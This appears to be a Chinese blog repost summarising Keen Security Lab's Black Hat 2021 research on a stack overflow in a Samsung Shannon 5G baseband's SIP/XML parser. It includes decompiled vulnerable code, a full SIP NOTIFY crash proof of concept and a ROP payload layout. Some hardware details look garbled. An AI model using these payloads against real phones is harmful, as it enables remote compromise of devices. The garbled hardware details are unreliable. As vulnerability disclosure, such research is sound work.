blackhatusa2021:通过无线基带-针对5g智能手机的rce白皮书(代码片段)

IT鹅 IT鹅     2022-12-09     170

关键词:

Over The Air Baseband Exploit: Gaining Remote Code Execution on 5G Smartphones
通过无线基带针对5G智能手机的RCE白皮书

致谢:腾讯科恩安全实验室

Keen Security Lab of Tencent
Marco Grassi (@marcograss), Xingyu Chen (@0xKira233)

研究5G网络安全的背景:

近年来,我们看到5G网络被广泛采用,包括消费设备、物联网和关键基础设施。
对连接到5G网络的设备数量的估计各不相同,但统计数据显示,这些设备在市场上占有很大的份额。

为了加入5G网络,每一个设备都必须配备5G调制解调器(5G modem),负责调制信号和实施无线电协议。该组件通常也称为基带。

保护这些组件的安全非常重要,因为它们处理来自无线网络的不可信数据,这使得它们对远程攻击者特别有吸引力。

在我们之前的工作中,我们检查了上一代网络(如2G、3G或4G)的安全调制解调器,并实现了RCE攻击·。

本文将探讨5G网络发生了哪些变化,在安全方面有哪些改进,哪些没有。此次将演示在新一代5G智能手机上完成RCE是有可能的。

近些年来5G网络安全是完全没有被设计到的领域,白皮书提供了两篇文章供作为背景知识参考:
1.Huawei modem remote code execution
2.pwn2own Amat Cama work on Samsung Shannon

研究准备方法:

寻找目标:
购买了市面上的不同5G智能手机
攻击范围:
完成一次RCE攻击
漏洞挖掘范围:
不访问任何商业5G基站的情况下触发漏洞
5G设备的区别:
非独立模式(NSA):该模式结合了新的5G信号,并利用了4G网络的其他组件。
独立模式(SA):该模式完全实现并使用5G新无线信号与5G网络协议。

测试手机型号:

Vivo S6 5G手机 SA模板 骁龙980 三星Shannon基带



审计范围与漏洞挖掘

在审计过程中发现了stack cookie缓解保护又称为Stack Canary,这是一种经典的缓冲区溢出的保护机制.
Stack Cannary通过在栈中设置标识检查输入的数据是否破坏栈,只要绕过Stack Cannary保护就能完成攻击。
Stack Cannary简介:
(以下参考CTF-wiki-PWN)
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。
在5G设备中仍然会出现“栈溢出”这种低级毛病,最有趣的不是栈溢出环节,而是分析基带中的XML程序,XML解析器负责解析从网络到设备调制解调器的IMS消息。
其中,在5G与4G通信中会通过IMS建立联系,基带就是IMS的客户端,它会处理VoLTE与VoNR信息,所以一定会传输有关SIP的信息,IMS服务端通过SIP信息与modem进行数据传输。
IMS是4G和5G网络的首选架构,在其上构建交互式呼叫,我们稍后将了解这对本研究的重要性。

基带它是一个IMS客户端,负责处理VOLT、VoNR消息,因此它必须能够处理SIP消息,IMS服务器使用SIP消息与调制解调器通信。
下面是message示例:

SIP是一种基于文本、类似HTTP的协议,包括头和内容。接收器(在本例中为基带)需要解析来自服务器的消息。

漏洞

我们的OTA远程代码执行错误位于基带的IMS部分。解析SIP协议消息的XML内容时,它将调用函数IMSPL_XmlGetNextTagName
这个调制解调器没有调试符号或信息,因此所有函数名、类型和函数签名都可以从日志字符串手动恢复,也可以通过反向工程恢复。这个函数将解析src中的XML标记,并将其名称复制到dst,例如,把“meta”复制到缓冲区中。

<meta name=“viewport”content=“width=device width,initial scale=1”>


下面这个函数在寻找结束标志跳过一些特殊字符如:’/’’>’?’

函数没有做任何安全检测,可以完成任意call与缓冲区溢出。
通过IMSPL_XmlGetNextTagName我们寻找到有许多可以进行call的地方,由于缓冲区是从OTA消息中提取的,因此它们中的大多数都易受攻击。
我们选择栈溢出是可靠的,没有stack canary 保护,因此我们可以简单地完成缓冲区溢出,控制存储在栈上的返回地址,并执行我们的shellcode。
这是溢出的函数IMSPL_XmlParser_ContactLstDecode

int	IMSPL_XmlParser_ContactLstDecode(int  *a1,  int  *a2)  
	unsigned int8 *v4; // r0
	int v5;	// r1
	log_info_s *v7;	// [sp+0h] [bp-98h] BYREF
	int v8;	// [sp+4h] [bp-94h]
	unsigned int8 *v9; // [sp+8h] [bp-90h] BYREF
	int  v10;	//  [sp+Ch]  [bp-8Ch]  BYREF
	char v11[136];	// [sp+10h] [bp-88h] BYREF
	
	bzero(v11, 100);
	v10 = 0;
	v4 = (unsigned int8 *)*a1;
	v8 = 10597;
	v9 = v4;
	//  ——————%s———————-
	v7  =  &log_struct_4380937c;
	log_0x418ffa6c(&v7,  ”IMSPL_XmlParser_ContactLstDecode”,  -20071784);
if  (IMSPL_XmlGetNextTagName((char  *)&v9,  v11)  !=  1)  
	LABEL_8:
	*a1 = (int)v9;
	v8 = 10597;
	//  Function  END
	v7  =  &log_struct_43809448;
	log_0x418ffa6c(&v7,  -20071784);
	return 1;
		
//  omitted  code	

当我们观察到char v11[136]; v11变量在栈上有100byte大小的缓冲区可以溢出
我们同样找到了相似的函数IMSPL_XmlParser_RegLstDecode
IMSPL_XmlParser_ContElemChildNodeDecode 等。
根据以上函数的名字我们可以推测,我们可以完成一次ROP链攻击
MSPL_XmlParser_RegInfoDecode -> IMSPL_XmlParser_RegInfoElemDecode ->
IMSPL_XmlParser_RegLstDecode->
IMSPL_XmlParser_RegistratonElemDecode->
IMSPL_XmlParser_ContactLstDecode
如果payload通过SIP协议中的NOTIFY信息发送,可以造成基带崩溃。由于函数find_tag_end里面对一些字符的黑名单,
“\\x00\\x09\\x0a\\x0d\\x20\\x2f\\x3e\\x3f”,所以我们在构建ROP链
不能利用有用的gadgets
下面是使基带崩溃的POC不能完成攻击

NOTIFY  sip:404456666666666@192.168.101.2:5060  SIP/2.0
	Via:  SIP/2.0/TCP  172.18.0.12;branch=z9hG4bK5829.b8e4601b3f6e281818a8a878daee5112.0
	Via:  SIP/2.0/UDP
172.18.0.14:6060;branch=z9hG4bK5829.c1534326000000000000000000000000.0
	To:  <sip:666666>;tag=31f5ed9f
	From:  <sip:@666666>;tag=facfaba04ffdc638bb119e5faba08da6-3a20000
	CSeq:  4  NOTIFY
	Call-ID:  85bcaa29686a87fe@192.168.101.2
	Content-Length:  1719
	User-Agent:  Kamailio  S-CSCF
	Contact:  <sip:scscf.ims.mnc045.mcc404.3gppnetwork.org:6060>
	Event:  reg
	Max-Forwards:  69
	Subscription-State:  active;expires=600000
	Content-Type:  application/reginfo+xml
	<?xml  version=”1.0”?>
	<reginfo  xmlns=”urn:ietf:params:xml:ns:reginfo”  version=”2”  state=”full”>
	<registration  aor=”tel:666666”  id=”0x7f970dea8570”  state=”active”>
	<contact  id=”0x7f970dea7710”  state=”active”  event=”registered”  expires=”599996” q=”0.000”>	<uri>sip:404456666666666@192.168.101.2:5060;alias=192.168.101.2~49214~2</uri>
	<unknown-param
name=”+sip.instance”>&lt;urn:gsma:imei:86044804-970539-0&gt;</unknown-param>
	<unknown-param  name=”+g.3gpp.smsip”></unknown-param>
	<unknown-param  name=”video”></unknown-param>	<unknown-param  name=”+g.3gpp.icsi-ref”>”urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel ”</unknown-param>
	</contact>
	</registration>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ⌋   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA         AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋  payload</AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
</reginfo>

在ROP链执行以后,基带仍然是完好无损的,我们可以更换一个更好的位置进行溢出,例如标签

<?xml  version=”1.0”?>
	<reginfo  xmlns=”urn:ietf:params:xml:ns:reginfo”  version=”2”  state=”full”>
	<registration  aor=”tel:666666”  id=”0x7fe072423570”  state=”active”>
	<contact  id=”0x7fe072422710”  state=”active”  event=”registered”  expires=”599996” q=”0.000”>
AAAAAAAAAAAAAAAAAAAAAA1ABC2ABC3ABC4ABC5ABC6ABC7ABC8ABCRop-chain-starts-here>test</haha
	</contact>
	</registration>
	</reginfo>

Payload的结构如下:

在栈上Payload是从100byte的’A’开始,紧接着栈上保存了R4-R11。真正的ROP链是为了从栈上复制shellcode然后执行shellcode.

基带传输基于matlab的简易无线基带传输系统的仿真(代码片段)

目录1.软件版本2.本算法理论知识点3.算法具体理论4.部分核心代码5.仿真演示6.本算法写论文思路7.参考文献8.相关算法课题及应用1.软件版本MATLAB2013b2.本算法理论知识点系统包括卷积编码,QPSK调制,信道传输,QPSK解调... 查看详情

[rf]无线射频相关学习

目录简述无线通信无线信号调制编码技术AmplifierLPF简述积累和学习无线射频相关硬件知识。无线通信无线通信原理无线频谱频率与波长对比图:无线信号调制http://www.sharetechnote.com/html/RF_Introduction.htmlAnalogmodulation,Digitalmodulation... 查看详情

[rf]无线射频相关学习

目录简述无线通信无线信号调制编码技术AmplifierLPF简述积累和学习无线射频相关硬件知识。无线通信无线通信原理无线频谱频率与波长对比图:无线信号调制http://www.sharetechnote.com/html/RF_Introduction.htmlAnalogmodulation,Digitalmodulation... 查看详情

4g模块,wifi模块是啥,工作原理是啥

...4GDTU模块,他是物联网行业具有4G通信功能的一种产品,通过4G模块,我们可以实现工业设备数据通过无线4G网络传输到远端控制中心,并从控制中心通过4G模块远程对工业设备进行数据通信。从而实现工业设备通过无线4G网络的集... 查看详情

攻击wep加密无线网络

...般当前无线网络中存在活动的无线客户端环境,即有用户通过无线连接到无线AP上并正在进行上网等操作时。  无客户端环境:  1、当前无线网络中存在已连接的无线客户端,但该无线客户端没有进行上网等操作。  2、... 查看详情

2021湖南省物联网挑战赛准备资料

...末梢是可以感知和检查外部世界的传感器。WSN中的传感器通过无线方式通信,因此网络设置灵活,设备位置可以随时更改,还可以跟互联网进行有线或无线方式的连接。通过无线通信方式形成的一个多跳自组织网络。2.ZigBeeZigBee... 查看详情

浅析赛普拉斯2.4g无线收发芯片

赛普拉斯半导体公司(赛普拉斯)的CYRF6936是一款无线USBSPI无线调制解调器。该SOC芯片占用的无需申请2.4GISM频段。该SOC芯片是2.4G,1MbpsGFSK无线收发芯片;包含有数据包缓存,数据包架构,DSSS基带控制器,接收信号强度指示(RSSI)... 查看详情

一个软件无线电的小练习题

软件无线电数据收发系统1:使用FPGA为核心器件,实现一套软件无线电数据收发系统。2、要求1. 基本要求1)数据发送端采用DDS为信号源,做FSK、ASK或PSK调制(任选一种),并使用DAC输出信号至天线,基带数据采用曼彻斯特编... 查看详情

通过无线ap轻松突破内网准入控制

...仍无法完全杜绝违规内联问题。原因解析:第一:无线AP通过NAT结合DMZ,可轻 查看详情

5g基站到底长啥样?和4g有啥区别?

...用电池、空调、监控系统和铁塔(抱杆)等。基站设备负责通过无线电波连接手机,并通过传输设备连接到核心网络和互联网,而电源、备用电池、空调和监控系统负责保障基站设备稳定运行。5G站点与4G站点一样,都少不了配套设... 查看详情

多径信道下通过lms均衡算法提高通信质量(代码片段)

目录一、理论基础二、核心程序三、仿真测试结果作者ID:fpga和matlabCSDN主页:https://blog.csdn.net/ccsss22?type=blog擅长技术:1.无线基带,无线图传,编解码2.机器视觉,图像处理,三维重建3.人工智能,深度学习4.智能控制,智... 查看详情

通过针对 DataFrame 中某个列的不存在的特殊值来生成合成数据样本

】通过针对DataFrame中某个列的不存在的特殊值来生成合成数据样本【英文标题】:Generatingsystheticdatasamplesbytargetinganon-existingspecialvalueforacertaincolunminaDataFrame【发布时间】:2021-05-2506:53:00【问题描述】:假设我们有以下DataFrame;AgeW... 查看详情

nb-iot无线帧结构和下行物理信道

...术。OFDM是一种调制方式;OFDMA是一种多址接入技术,用户通过OFD 查看详情

计算机网络王道考研2021第二章:物理层--基带信号与宽带信号信道的编码与调制

1.基带信号与宽带信号信道上传输信号实例:2.编码与调制2.1总览2.2数字数据编码为数字信号2.2.1非归零编码【NRZ】2.2.2归零编码【RZ】信号电平在一个码元之内都要恢复到零的这种编码成编码方式。由于归零需要占用一部分带... 查看详情

多径信道下通过lms均衡算法提高通信质量——详细版(代码片段)

目录一、理论基础二、核心程序三、仿真测试结果作者ID:fpga和matlabCSDN主页:https://blog.csdn.net/ccsss22?type=blog擅长技术:1.无线基带,无线图传,编解码2.机器视觉,图像处理,三维重建3.人工智能,深度学习4.智能控制,智能优化5.其他一... 查看详情

计算机网络--物理层

...频段。这称为带通调制。信道的极限容量(1)信道能够通过的频率范围。(2)信噪比, 查看详情

通信原理实验四数字基带信号的眼图实验(代码片段)

...原理,掌握基带升余弦滚降系统的实现方法;2、通过观察眼图来分析码间干扰对系统性能的影响,并观察在输入相同码率的NRZ基带信号下,不同滤波器带宽对输出信号码间干扰大小的影响程度;3 查看详情

iplook携5g/6g专网融合卫星方案精彩亮相2021开源无线生态峰会

...展新高地    此次峰会围绕“共享开源”的主题,通过会、展、赛等形式,以OpenXG项目为牵引,共享开源无线基础共性成果,探讨开源无线生态建设与发展。现场关于5GgNB、5GNRMIMO、OpenXG-RAN、5GCN、5GUE 的互动展... 查看详情